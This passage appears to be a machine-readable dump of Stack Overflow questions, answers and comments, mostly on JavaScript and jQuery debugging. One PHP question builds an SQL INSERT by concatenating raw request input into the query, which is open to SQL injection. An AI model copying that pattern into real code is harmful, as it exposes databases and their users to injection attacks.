volutpat tristique. Aenean vel ante pulvinar, sodales magna id, mollis urna. Duis at tincidunt erat. Nullam tellus mi, aliquam ultricies nisi ac, porttitor aliquam nulla. Donec scelerisque magna euismod purus imperdiet sollicitudin. Etiam vel lacus ex. Duis tempus urna eu volutpat tristique. Aenean vel ante pulvinar, sodales magna id, mollis urna. Duis at tincidunt erat. Nullam tellus mi, aliquam ultricies nisi ac, porttitor aliquam nulla. Donec scelerisque magna euismod purus imperdiet sollicitudin. Etiam vel lacus ex. Duis tempus urna eu volutpat tristique. Aenean vel ante pulvinar, sodales magna id, mollis urna. CSS: #slider{ background-color: black; position: relative; height: 500px; width:…
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40325929
tagged with: http://stackoverflow.com/tag/html
has title: How to make a div with several absolute positioned elements responsive
favorite count: 0
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/q/25728182
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40225480
linked to: http://stackoverflow.com/q/18836477
has comment: http://stackoverflow.com/comment/40223455
score: 0
has comment: http://stackoverflow.com/comment/40225016
answer count: 1
has title: Key event binding at table level
accepted answer: http://stackoverflow.com/a/25729654
has comment: http://stackoverflow.com/comment/40223953
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25729654
has comment: http://stackoverflow.com/comment/40225075
type: Question
has body: I have 2 tables on 1 page. I would like the user to be able to click the table and then use the arrow keys to navigate to previous and next. The only way I have been able to get the keyup events to fire in all browsers is by attaching them directly to the 'document'. I have wired up an event to add a 'grid-focused' class to the grid that is in focus and I tried using that as the selector on my events but I cannot get any event action then. Event Binding function attachInitEvents() { if ($self.config.pageHotKeysEnabled) { var keyNav = function(e) { if (e.keyCode == 37 &amp;&amp; paging.hasPrevious) { // left $self._log.info('Left arrow key pressed.'); fetchData('prev'); } if (e.keyCode == 39 &amp;&amp; paging.hasNext) { //right $self._log.info('Right arrow key pressed.'); fetchData('next'); } } var $doc = $(document); // hot key support $doc.off('keyup'); $doc.on('keyup', keyNav); } } I am having another issue, where I am doing $doc.off('keyup'). I think this is part of the problem as it is unbinding all keyup events, what I really want is for it to just unbind the event I am trying to attach if it exists. In jQuery docs it technically says I should be using $doc.off('keyup', keyNav); to unbind it, but it does not unbind the event and I get multiples of it. So core questions are, Can I trigger a KeyUp event without binding to the document and can I do it from the table level? How can I properly make sure I am not rebinding over and over again? Now, if this page has 2 tables, I guess I would expect there to be 2 events one for each table and then the .grid-focused class would be what allows the event to trigger or not? Here is a Fiddle: http://jsfiddle.net/93fp293w/ Basically, I have no input boxes it is just spans, I am basically making it easier for them to page through all the data by just using the arrow keys. I believe the fiddler is pretty accurate to the situation. I feel what I am asking is not possible since I wont have an actual control in focus and if that …
has comment: http://stackoverflow.com/comment/40224565

http://stackoverflow.com/q/25818382
has comment: http://stackoverflow.com/comment/40389241
score: 1
has answer: http://stackoverflow.com/a/25818457
type: Question
tagged with: jquery-ui
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: asp.net
favorite count: 0
has title: How to prevent "collapsing" of table rows on drag and drop using JQuery UI Sortable?
type: UnansweredQuestion
upvote count: 1
has body: I use the following code to make my GridView on an ASP.NET page to support sorting using drag and drop: &lt;script type="text/javascript"&gt; $(function () { $("#gvJobs").sortable({ items: 'tr:not(:first)', cursor: 'move', axis: 'y', helper: 'original', stack : '#set tr', revert : true, dropOnEmpty: true, receive: function (e, ui) { } }); }); &lt;/script&gt; This already works pretty well, but whenever a table row is in dragging mode it gets "squeezed": (on the picture you see that all rows collapsed for the dragged element) How can I achieve that the row does not get changed on dragging?

http://stackoverflow.com/q/25869970
tagged with: javascript
has answer: http://stackoverflow.com/a/25870631
has comment: http://stackoverflow.com/comment/40483232
upvote count: 2
answer count: 3
has comment: http://stackoverflow.com/comment/40483025
has comment: http://stackoverflow.com/comment/40483433
downvote count: 1
has answer: http://stackoverflow.com/a/25870844
has comment: http://stackoverflow.com/comment/40482699
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40482736
has comment: http://stackoverflow.com/comment/40482570
tagged with: php
has comment: http://stackoverflow.com/comment/40482601
tagged with: pdo
has comment: http://stackoverflow.com/comment/40482681
has body: I have a MySQL DB that I would like to insert data from a PHP form using PDO connect. Is there a way to have an Javascript alert popup when; a record already exists or it has been added because it doesn't exist I am using this code; $dbo-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $category = $_REQUEST['category']; $sql = "INSERT INTO category (category) SELECT * FROM (SELECT '".$category."') AS tmp WHERE NOT EXISTS (SELECT category FROM category WHERE category = '".$category."') LIMIT 1;"; $sql = $dbo-&gt;prepare($sql); $sql -&gt;execute( array( ':category'=&gt;$category ) ); Thank you for helping a newbie (I looked for an existing answer but nothing seemed approriate).
score: 1
has comment: http://stackoverflow.com/comment/40483371
has comment: http://stackoverflow.com/comment/40483631
has comment: http://stackoverflow.com/comment/40483307
tagged with: mysql
has comment: http://stackoverflow.com/comment/40483181
has comment: http://stackoverflow.com/comment/40482968
type: Question
has comment: http://stackoverflow.com/comment/40483479
has title: How do I generate a javascript alert if the record already exists OR if it does not exist in a PDO MySQL insert query?
has comment: http://stackoverflow.com/comment/40483243
has comment: http://stackoverflow.com/comment/40482924
has answer: http://stackoverflow.com/a/25870623

http://stackoverflow.com/comment/40304177
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25771615
type: AnswerComment
has text: @Allan It is still on my hard drive :p

http://stackoverflow.com/comment/40235369
has text: `myvar[secondvar][thirdvar]` PS: it's not an array but an object
score: 1
comment on: http://stackoverflow.com/q/25734397
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40240390
has text: It is not a good practice to contain apostrophe in a variable value. So change the value of var name.
type: QuestionComment
comment on: http://stackoverflow.com/q/25736477
type: Comment
score: 0

http://stackoverflow.com/a/25753334
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40271255
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/40270691
accepted answer of: http://stackoverflow.com/q/25753318
downvote count: 0
has comment: http://stackoverflow.com/comment/40271445
answers question: http://stackoverflow.com/q/25753318
has body: The following is a comparison, not an assignment: costBox == 20; Change == to = (here and in all other similar places). Also note that Math.random() is permitted to return exactly 0, and your code is not handling that.
score: 4
has comment: http://stackoverflow.com/comment/40428326
has comment: http://stackoverflow.com/comment/40280184

http://stackoverflow.com/a/25787547
score: 5
downvote count: 0
type: Answer
has body: Try using :not $('input[type=button]:not([title="enterprise"])').click(showLicence).each(function() {
answers question: http://stackoverflow.com/q/25787469
upvote count: 5

http://stackoverflow.com/comment/40487238
type: Comment
comment on: http://stackoverflow.com/a/25871584
has text: You are right for my example this will work better. Do you know of any good resources that would teach someone new like me about javascript because obviously i need it.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/43781562
type: Comment
comment on: http://stackoverflow.com/a/25839932
has text: I'm actually just coming back to this now, and I have one more question about that. Where exactly should I put this in my index.html? In the head, the body, etc.?
score: 0
type: AnswerComment

http://stackoverflow.com/a/25824856
answers question: http://stackoverflow.com/q/25822826
type: Answer
has body: You have to increment the page number before each AJAX call: before if(($(window).scrollTop() + $(window).height() == $(document).height())) { $.ajax({ url: 'test.php', type: 'POST', data: $('#fid').serialize(), success: function(data) { $('#demoajax').append(data); } }); return false; } after if(($(window).scrollTop() + $(window).height() == $(document).height())) { var currentPage = parseInt($('#page_number').val(), 10); currentPage = currentPage + 1; $('#page_number').val(currentPage); $.ajax({ url: 'test.php', type: 'POST', data: $('#fid').serialize(), success: function(data) { $('#demoajax').append(data); } }); return false; } Beyond that, your code has some problems and could be written as follow: &lt;!-- Edit 1: HTML comes first, script come later --&gt; &lt;!-- Edit 2: use real values in HTML attributes instead of JS code --&gt; &lt;form method="post" id="fid" action="test.php" &gt; &lt;input type="hidden" id="page_number" name="page" value="1"/&gt; &lt;/form&gt; &lt;!-- Edit 3: you had unclosed div tag --&gt; &lt;div id="demoajax"&gt;&lt;/div&gt; &lt;script src="http://code.jquery.com/jquery-1.7.2.js"&gt;&lt;/script&gt; &lt;script&gt; // Edit 4: here, you can use only one script tag for all of your JS code // Edit 5: declare functions first, use them later // (you had the code $("#fid").submit(f1()); too early in the page) function f1() { $('#demoajax').hide(); var $form = $('#fid'); $.ajax({ // Edit 6: retrieve url and type parameter from the HTML form // this avoid hard-coded values url: $form.attr('action'), type: $form.attr('method'), data: $form.serialize(), success: function(data) { // Edit 7: use method chaining where you can $('#demoajax').show().html(data); } }); // Edit 8: don't return false within event handler } // Edit 9: avoid premature call invocation problem $("#fid").submit(f1); // on load page call function code // // Edit 10: avoid premature call invocation problem $(document).ready(f1); $(document).ready(function() { $(window).scroll(fun…
score: 0

http://stackoverflow.com/a/25812752
has comment: http://stackoverflow.com/comment/40381634
has comment: http://stackoverflow.com/comment/40378056
downvote count: 0
score: 1
has body: You seem to have most of what is needed defined in markup although it's not exactly clear why you would need a list for each checkbox. Here's something that would get you started /* checkbox change handler */ $('#attendeeList :checkbox').change(function(){ var data=$(this).data(), /* get jQuery selector for list from data */ jQId = "#" + data.attendeename, $list=$(jQId).find('.attendeeProductList'); if(this.checked){ /* add element if checked*/ var li= ' Name:'+ data.attendeename +', Price:'+data.optionprice+' '; $list.append(li); }else{ /* empty list if unchecked*/ $list.empty(); } }) DEMO
accepted answer of: http://stackoverflow.com/q/25812468
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25812468
type: Answer

http://stackoverflow.com/q/25872457
score: 0
has answer: http://stackoverflow.com/a/25873013
has title: Hiding a DIV with Javascript?
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40487662
linked to: http://stackoverflow.com/q/359494
has body: I've got the code below, I've already set variable ShowLoading in another function. Could this be the reason? IE variables in javascript not being passed over when you start a new function? I also tried without opening a new function and adding onto an existing but with no Joy. The DIV#Loading is based after the javascript. $(document).ready(function() { if(ShowLoading == true){ $("#Loading").show(); }else{ $("#Loading").hide(); } }); ShowLoading is set here: if ($.trim(ObjNumber) != ''){ $.post('#URL#', {ObjNumber: ObjNumber}, function(data) { var ShowLoading = "No"; $('div#Results-Data').html(data); }); }
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25873116
answer count: 4
has answer: http://stackoverflow.com/a/25872907
has comment: http://stackoverflow.com/comment/40487297
linked to: http://stackoverflow.com/q/21070101
has comment: http://stackoverflow.com/comment/40487743
has comment: http://stackoverflow.com/comment/40487571
has comment: http://stackoverflow.com/comment/40487320
upvote count: 1
has answer: http://stackoverflow.com/a/25873095
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/68485
has comment: http://stackoverflow.com/comment/40487379
tagged with: javascript
has comment: http://stackoverflow.com/comment/40487335

http://stackoverflow.com/comment/40318859
type: AnswerComment
comment on: http://stackoverflow.com/a/25779809
type: Comment
has text: No problem you use Iframe inside the html code call whenever needed.
score: 0

http://stackoverflow.com/a/25770907
score: 0
type: AcceptedAnswer
has body: You need to replace document with $doc in JSNI code: When accessing the browser's window and document objects from JSNI, you must reference them as $wnd and $doc, respectively. Your compiled script runs in a nested frame, and $wnd and $doc are automatically initialized to correctly refer to the host page's window and document.
type: Answer
has comment: http://stackoverflow.com/comment/40317698
accepted answer of: http://stackoverflow.com/q/25764972
answers question: http://stackoverflow.com/q/25764972

http://stackoverflow.com/q/25846773
downvote count: 0
answer count: 1
tagged with: url
has answer: http://stackoverflow.com/a/25847303
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
score: 1
has title: Get Referrer URL including fragment identifier
upvote count: 1
type: Question
tagged with: javascript
has body: I have a website embedded as iframe in another website, they are from different domains. I need to get the url in the address bar including the part after hash sign (#) from the iframe. With document.referrer I can get everything until the hash, is there a way to do this?

http://stackoverflow.com/comment/40401039
has text: can't you build a Recipe instance, and simply not call its save function?
score: 0
comment on: http://stackoverflow.com/q/25824967
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25726010
score: 0
accepted answer of: http://stackoverflow.com/q/25724109
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25724109
type: Answer
has body: JavaScript $(function () { // Initialize the plugin $('#my_popup').popup(); $('#sam').popup(); }); HTML Open My Popup // the class name states which popup to open - 'my_popup' Open Sam // the class name states which popup to open - 'sam' my_popup Close // the class name states which popup to close - 'my_popup' sunu Close // the class name states which popup to close - 'sam'

http://stackoverflow.com/q/25862635
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
tagged with: dom-events
has comment: http://stackoverflow.com/comment/40472838
has comment: http://stackoverflow.com/comment/40506889
has comment: http://stackoverflow.com/comment/40507006
type: Question
has comment: http://stackoverflow.com/comment/40506364
has comment: http://stackoverflow.com/comment/40470102
has body: I am having an issue with the form submission in mobile devices. Used a form and set the method="post", and on submission calling a functiononsubmit="return OnSubmitForm();. I am not using Jquery or Jquery Mobile, Is it possible to set form action using javascript in mobile? Even I am not able to alert the values in mobile while I am getting everything alerted in Desktop. Purpose: When submit the form it will redirect to another page and displays the search result there. Result: It's working fine with desktop browsers, but when I am trying to browse using mobile browser it's not working. Javascript: HTML:
has comment: http://stackoverflow.com/comment/40507237
has title: Submit form not works in Mobile
score: 0
has answer: http://stackoverflow.com/a/25889078
answer count: 3
has comment: http://stackoverflow.com/comment/40469909
has answer: http://stackoverflow.com/a/25893493
tagged with: forms
has answer: http://stackoverflow.com/a/61375153
has comment: http://stackoverflow.com/comment/40507750

http://stackoverflow.com/a/25765606
score: 0
type: Answer
has body: you can use confirmation alert to achieve this.there are too many jquery demo's available. for example see this link:how to show confirmation alert with three buttons 'Yes' 'No' and 'Cancel' as it shows in MS Word
answers question: http://stackoverflow.com/q/25765401

http://stackoverflow.com/q/25813452
has comment: http://stackoverflow.com/comment/40379584
has body: I wasn't really happy with this code: async.parallel([ getThing1, getThing2, getThing3 ], function(err, responses) { next.ifError(err); var thing1 = responses[0], thing2 = responses[1], thing3 = responses[2]; // business }); I'd prefer it to look like this, à la require: async.parallel([ getThing1, getThing2, getThing3 ], function(err, thing1, thing2, thing3) { next.ifError(err); // business }); This is what I've ended up with: async.variadic = function(fn) { return function(err, responses) { return fn.bind(this, err).apply(this, responses); } } async.parallel([ getThing1, getThing2, getThing3 ], async.variadic(function(err, thing1, thing2, thing3) { next.ifError(err); // business })); Questions: Am I using this correctly in fn.bind(this, err).apply(this, responses);? Is there an existing way to do this with the async library? Update: Here's a different way to accomplish this: async.variadic = (function() { var _async = {}; _async.prototype = async; _async.parallel = function(tasks, callback) { return async.parallel(tasks, function(err, responses) { return callback.bind(this, err).apply(this, responses); }); }; return function() { return _async; }; })(); async.variadic().parallel([ getThing1, getThing2, getThing3 ], function(err, thing1, thing2, thing3) { }); I think I like this one most. Is this a good way to accomplish the task? Here's a jsperf with a different idea: http://jsperf.com/variadic-async
type: AnsweredQuestion
score: 1
type: Question
tagged with: async.js
has title: async parallel with variadic callback
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25816438
upvote count: 1
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25816438

http://stackoverflow.com/comment/40429080
has text: No, there's no error. I don't think the function is getting called.
comment on: http://stackoverflow.com/q/25840153
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25723973
tagged with: sails.js
tagged with: mongodb
has comment: http://stackoverflow.com/comment/40224566
tagged with: javascript
score: 0
tagged with: ejs
has comment: http://stackoverflow.com/comment/40225571
tagged with: node.js
answer count: 0
type: UnansweredQuestion
has body: I am designing a Dashboard using Node.js which measures peoples targets. I currently have the backend set up and new targets can be added. So some example data from MongoDB: var = targets = [ { _id: ObjectId("53e0d2e340db30cb151413d4"), owner: "Some Guy", objective: "Make coffee", metric: "Availability", rag: "Amber" }, { _id: ObjectId("53e0d2e340db30cb151413d4"), owner: "Someone Else", objective: "Answer phones", metric: "Blah", rag: "Green" }, { _id: ObjectId("53e0d2e340db30cb151413d4"), owner: "Some Guy", objective: "Clean desks", metric: "Wah", rag: "Red" } ]; To remove duplicate owners to display a list of tabs I have the following code using EJS and Underscore.js: &lt;% _.each(targets, function(target) { %&gt; &lt;% if ((arr.indexOf(target.owner)) === -1) { %&gt; &lt;% arr.push(target.owner) %&gt; &lt;% } %&gt; &lt;% }) %&gt; Which produces the following posts data to a carousel which has a tab for each owner. In the tab then there is an option to click between the multiple targets for that owner. Each owner can have multiple targets so when their tab is selected I can swipe through the carousels. What I can not figure out is how I am going to to take each target from a specific owner and add all the targets under their tab and so on for other owners. My thinking was to create a new array for each owner an then loop through all the targets adding the specific target to the correct owner array. So I have made a start on this but I am not sure how to push to a specific array or if this is even the correct way of doing it? &lt;% _.each(arr, function(owner, i) { %&gt; &lt;% this['targets_' + i] = [] %&gt; &lt;% _.each(targets, function(target) { %&gt; &lt;%if (target.owner === owner) {%&gt; &lt;%(['targets_' + i]).push(target.id)%&gt; &lt;% console.log(target.id) %&gt; &lt;%}%&gt; &lt;% }) %&gt; &lt;% } %&gt;
type: Question
has title: Grouping targets under one owner from an array of objects

http://stackoverflow.com/comment/40478691
has text: @Alnitak Indeed it is. But people can mark as duplicate if there is an equivalent. Downvoting shouldn't be used for marking elementary questions.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25867077
score: 0

http://stackoverflow.com/comment/40292768
type: QuestionComment
comment on: http://stackoverflow.com/q/25765401
has text: Btw, your students can see the right answers from the source code
score: 0
type: Comment

http://stackoverflow.com/comment/40338852
comment on: http://stackoverflow.com/q/25791285
type: Comment
has text: What does `console.log([1,2,3].reverse())` in the same context say? Never mind, see below :)
score: 0
type: QuestionComment

http://stackoverflow.com/a/25799836
has body: You can use history api in html5: pop and push state http://html5doctor.com/history-api/
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25799712
has comment: http://stackoverflow.com/comment/40357680
answers question: http://stackoverflow.com/q/25799712

http://stackoverflow.com/comment/134744299
comment on: http://stackoverflow.com/a/25825890
type: AnswerComment
type: Comment
score: 1
has text: this does not answer the question, if you type minus -1, the field would still except it, this only when you use the litte up and down arrow button that come with the number input type

http://stackoverflow.com/a/25731137
type: AcceptedAnswer
score: 4
answers question: http://stackoverflow.com/q/25731025
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25731025
has body: There are several possible ways to tackle this. I would recommend, if you have some time, looking into Promises, and using Promise.all(). However, if you're sticking to just using vanilla callbacks, I replace the console.log with the following: var countTimeoutsFinished = 0; function testEndOfProgram() { if(countTimeoutsFinished === 3) { console.log("End of program - total is now: " + total); } } and then, inside each timeout, increment countTimeoutsFinished and call testEndOfProgram(): setTimeout(function() { console.log("function 1"); total += 10; countTimeoutsFinished++; testEndOfProgram(); }, 500); . When the 3rd timeout completes, countTimeoutsFinished will be 3, and when you then get into testEndOfProgram the console.log will execute.
has comment: http://stackoverflow.com/comment/40228750
downvote count: 0

http://stackoverflow.com/q/25813494
tagged with: meteor
has body: I have a template helper that depends on the current time: Template.bunny.alive = function () { if (this.time_to_die &lt; new Date().getTime()) return true; else return false; }; How do I make meteor re-draw the template when the current time passes time_to_die? &lt;template name="bunny"&gt; {{if alive }} Your bunny is alive. {{/if}} &lt;/template&gt; Edit> Possible solution would be to use a Session variable and store the time which gets updated in say 10 second intervals. So Session.setDefault("current_time", new Date().getTime()); and Meteor.setInterval(function() { Session.set("current_time", new Date().getTime()); }, 10000); Then I can just use Session.get("current_time") in my helpers to make them nicely reactive... Feels kinda kludgey though?
linked to: http://stackoverflow.com/q/3468607
has answer: http://stackoverflow.com/a/25815025
has title: How to invalidate a time dependent template
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25815025
answer count: 2
possible better answer: http://stackoverflow.com/a/25813853
tagged with: javascript
has answer: http://stackoverflow.com/a/25813853
score: 0

http://stackoverflow.com/q/25843672
answer count: 0
type: Question
tagged with: javascript
has body: I have creatd a solution in Visual Studio 2013 which comprises two web application projects Core.Web and App.Web. Core.Web uses the url web.core.dev. App.Web uses the url web.app.dev. Core.Web contains several javascript and css files that can be shared between projects. App.Web references these javascript files. App.Web may have an html file like App1.Web ... This works fine locally. But when I come to publish live these links will not work unless I change them manually (web.core.dev changed to core.mywebsite.com). I would like to be able to publish the project and not have to worry about changing the local hrefs to live hrefs. Is there a standard strategy that allows the domains to be changed depending on where they are published? A strategy that works for both .aspx and .html files?
score: 2
has comment: http://stackoverflow.com/comment/40435265
downvote count: 0
has title: Determine javascript/css domains based on where published
favorite count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: visual-studio
has comment: http://stackoverflow.com/comment/40435301

http://stackoverflow.com/a/25756627
answers question: http://stackoverflow.com/q/25756484
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/40276627
type: Answer
has body: According to http://www.webglearth.org/api, it should be earth.on('click', yourCallback());, not .onclick. Also, I would consider some changes to your code: First off, don't set the onclick handler within the setatimeout function all the time. Do it one time on intialization and use a variable instead of 0.9 inside the timeout that u can set to 0 inside your onclick callback. In case you want to stop animation forever, you might consider breaking out of the setTimeout loop in case you stumble upon that variable being 0. Im gonna leave implementation up to you
downvote count: 1

http://stackoverflow.com/comment/40322955
type: Comment
comment on: http://stackoverflow.com/q/25775572
type: QuestionComment
has text: @Malk you're right about the links. I'm not sure how I missed that the first time around, I've spent quite a while reading up on this. Thanks!
score: 0

http://stackoverflow.com/q/25790716
has body: I have a chat service based on polling: every 20 seconds a script is run on server (by every client) to retrieve new user in chat-room. I want to optimize this. I want to download data only for new users that just entered the chat, I don't want to re-download old data about old users. I could solve by sending in the request the userid of people I already have, check if there are new users and apped their data to the list on client; I think this is better than before... but ... is there a better way?
tagged with: php
tagged with: mysql
type: Question
has answer: http://stackoverflow.com/a/25790860
tagged with: javascript
tagged with: ajax
score: 0
answer count: 1
has title: PHP & Ajax: manage list update
type: UnansweredQuestion

http://stackoverflow.com/comment/40217962
type: Comment
comment on: http://stackoverflow.com/a/25725392
type: AnswerComment
score: 0
has text: +1, but: *"Because the scope will be window and not timer"* It's not *scope*, but yes, the problem (as you know!) is `this` isn't what the OP is expecting when `add` is called...

http://stackoverflow.com/q/25863023
tagged with: javascript
tagged with: datetime
has answer: http://stackoverflow.com/a/25863122
favorite count: 0
has comment: http://stackoverflow.com/comment/40470278
possible better answer: http://stackoverflow.com/a/25863122
has answer: http://stackoverflow.com/a/25863096
upvote count: 1
type: AnsweredQuestion
score: 1
tagged with: date
has title: Javascript: converting date/time from miliseconds to human-readable string?
type: Question
answer count: 2
has body: My AJAX call returns an object with a Time parameter. The problem is, it give it in a format like this: 2014-07-28T19:53:56.0000000Z I want to turn this into a human-readable string. I've tried doing this: var time = "2014-07-28T19:53:56.0000000Z"; var parsed = Date.parse(time).toLocaleString("en-us"); but that doesn't work (parsed evaluates to "1,406,577,236,000") What am I doing wrong?
accepted answer: http://stackoverflow.com/a/25863096
downvote count: 0

http://stackoverflow.com/q/25768316
possible better answer: http://stackoverflow.com/a/25768421
tagged with: google-chrome
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/42442475
linked to: http://stackoverflow.com/q/8548533
type: Question
has answer: http://stackoverflow.com/a/25768421
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has title: jquery text change event is not fired in chrome
has answer: http://stackoverflow.com/a/25768981
accepted answer: http://stackoverflow.com/a/25768981
has body: I already tried to put the jQuery change event inside document.ready but with no luck. The change event is working in Firefox and IE, but not in Chrome. Even alert box is not appearing while changing the values in ctl00_ContentPlaceHolder1_Txt_RegNo Textbox. But when I type in textbox and remove the value using backspace from textbox then it's working in chrome. It should work at first time while changing the values in textbox in chrome. Script: $("#ctl00_ContentPlaceHolder1_Txt_RegNo").change(function () { alert("done"); var regno = $("#&lt;%= Txt_RegNo.ClientID %&gt;").val(); var fleetno = $("#&lt;%= Txt_FleetNo.ClientID %&gt;"); var customername = $("#&lt;%= txtCustomerName.ClientID %&gt;"); var ridername = $("#&lt;%= txtRiderName.ClientID %&gt;"); var phoneno = $("#&lt;%= txtPhoneNo.ClientID %&gt;"); var email = $("#&lt;%= txtEmail.ClientID %&gt;"); var chassis = $("#&lt;%= txtchassis.ClientID %&gt;"); var ddlmodel = $("#&lt;%= ddl_Model.ClientID %&gt;"); var ddltype = $("#&lt;%= ddl_type.ClientID %&gt;"); var ddlcolor = $("#&lt;%= ddl_color.ClientID %&gt;"); var ddl_year = $("#&lt;%= ddlyear.ClientID %&gt;"); var KMS = $("#&lt;%= txtKMSRUN.ClientID %&gt;"); var ddladvisor = $("#&lt;%= ddl_ServiceAdvisor.ClientID %&gt;"); var expirydate = $("#&lt;%= txtexpirydate.ClientID %&gt;"); var notes = $("#&lt;%= txtnotes.ClientID %&gt;"); var data = { REGNO: regno }; var jsonData = JSON.stringify(data); $.ajax({ type: "POST", url: "JobCard.aspx/Populate_Reg", data: jsonData, contentType: "application/json; charset=utf-8", dataType: "json", success: function (data) { if (data.d.length &gt; 0) { var e; for (var i = 0; i &lt; data.d.length; i++) { fleetno.val(data.d[i].FleetNO); customername.val(data.d[i].CUSTOMER_NAME); ridername.val(data.d[i].RIDERNAME); phoneno.val(data.d[i].PHONENO); email.val(data.d[i].EMAIL); chassis.val(data.d[i].CHASSISNO); ddlmodel.val(data.d[i].MAKE); ddltype.val(data.d[i].MODEL); ddlcolor.val(data.d[i].color); ddl_year.val(data.d[i].Year); KMS.va…
tagged with: asp.net

http://stackoverflow.com/a/25824588
has body: Solved this myself. The following needed to be added within the original question main code block $('.decline').click(function() { Friendrequest_decline(); }); So doing this works. $('#containerFriendsPending').empty(); _.each(friends, function(item) { var wrapper = $(' '); wrapper.append(' ' + 'Decline' + ' '); $('#containerFriendsPending').append(wrapper); $('.decline').click(function() { Friendrequest_decline(); }); });
answers question: http://stackoverflow.com/q/25824501
has comment: http://stackoverflow.com/comment/40400042
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40400055
has comment: http://stackoverflow.com/comment/40399975
has comment: http://stackoverflow.com/comment/40399970
downvote count: 0
has comment: http://stackoverflow.com/comment/40399936
type: Answer

http://stackoverflow.com/q/25792218
score: -2
has title: jquery dialog capture form data from external site
tagged with: javascript
has answer: http://stackoverflow.com/a/25792291
upvote count: 0
has comment: http://stackoverflow.com/comment/40340987
answer count: 1
tagged with: jquery
favorite count: 0
has body: How would you capture form data from a dialog window on your website that is going to an external website? For example, the dialog loads the website www.google.com. I want to capture the text typed when the when the user searches for something. If that's not possible, is there a way to capture the key strokes from the dialog window?
type: UnansweredQuestion
downvote count: 2
type: Question

http://stackoverflow.com/a/25863037
answers question: http://stackoverflow.com/q/25862896
accepted answer of: http://stackoverflow.com/q/25862896
score: 119
type: AcceptedAnswer
has body: Add this css: #testResult { white-space:pre-wrap; } Demo
type: Answer
upvote count: 119
downvote count: 0

http://stackoverflow.com/comment/40215096
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25723914
has text: Are you sure that `.hide()` is the best way to go? Maybe `.remove()` would be better?
score: 0

http://stackoverflow.com/comment/40339090
type: QuestionComment
has text: In addition you could also check that tablesorter plugin script is added **after** jquery.
score: 1
comment on: http://stackoverflow.com/q/25791225
type: Comment

http://stackoverflow.com/q/25781058
has answer: http://stackoverflow.com/a/25781175
possible better answer: http://stackoverflow.com/a/25781096
has answer: http://stackoverflow.com/a/25781688
upvote count: 2
has body: I've got this mark-up which for the most part works (jQuery required): Description Use alternative text If you click the 'Use alternative text' link then the alternative text gets thrown into the text area. But this only works if the user hasn't already put content into the textarea. I need it to work so that even if the textarea is already populated, then clicking the 'Use alternative text' link will replace everything that is currently in the textarea. Any advice would be appreciated.
accepted answer: http://stackoverflow.com/a/25781131
has answer: http://stackoverflow.com/a/25781096
downvote count: 1
has answer: http://stackoverflow.com/a/25781131
answer count: 5
tagged with: forms
has title: Add text into textarea on click
type: AnsweredQuestion
tagged with: javascript
score: 1
tagged with: jquery
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/25781282

http://stackoverflow.com/q/25779027
score: 5
has answer: http://stackoverflow.com/a/31728551
has comment: http://stackoverflow.com/comment/51388907
has comment: http://stackoverflow.com/comment/51388649
has body: I am new to Selenium and Webdriver. I am trying to write tests using Webdriverjs in node. I want selenium to load my default chrome profile. This is what I am trying, but it still loads a new chrome profile. var webdriver = require('selenium-webdriver'); var chrome = require('selenium-webdriver/chrome'); var o = new chrome.Options(); o.addArguments("--user-data-dir=/Users/karnesh/Library/Application Support/Google/Chrome/Default"); var driver = new webdriver.Builder().withCapabilities(webdriver.Capabilities.chrome()) .setChromeOptions(o).build(); Any ideas where I am going wrong?? Also, I was not able to find a documentation for webdriverjs. Any links to it (if it exists) would be helpful . Thanks
has comment: http://stackoverflow.com/comment/51388212
tagged with: javascript
has comment: http://stackoverflow.com/comment/51387996
has comment: http://stackoverflow.com/comment/51389374
answer count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/14480717
type: UnansweredQuestion
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/51387748
downvote count: 1
upvote count: 6
tagged with: node.js
has comment: http://stackoverflow.com/comment/51389278
linked to: http://stackoverflow.com/q/18034747
tagged with: selenium
has title: Load Default chrome profile with Webdriverjs Selenium
tagged with: webdriver
type: Question

http://stackoverflow.com/a/25761732
has comment: http://stackoverflow.com/comment/40285675
has comment: http://stackoverflow.com/comment/40294267
score: 0
has comment: http://stackoverflow.com/comment/40285834
has comment: http://stackoverflow.com/comment/40285089
has comment: http://stackoverflow.com/comment/40286638
has comment: http://stackoverflow.com/comment/40286349
has comment: http://stackoverflow.com/comment/40285710
type: Answer
answers question: http://stackoverflow.com/q/25761377
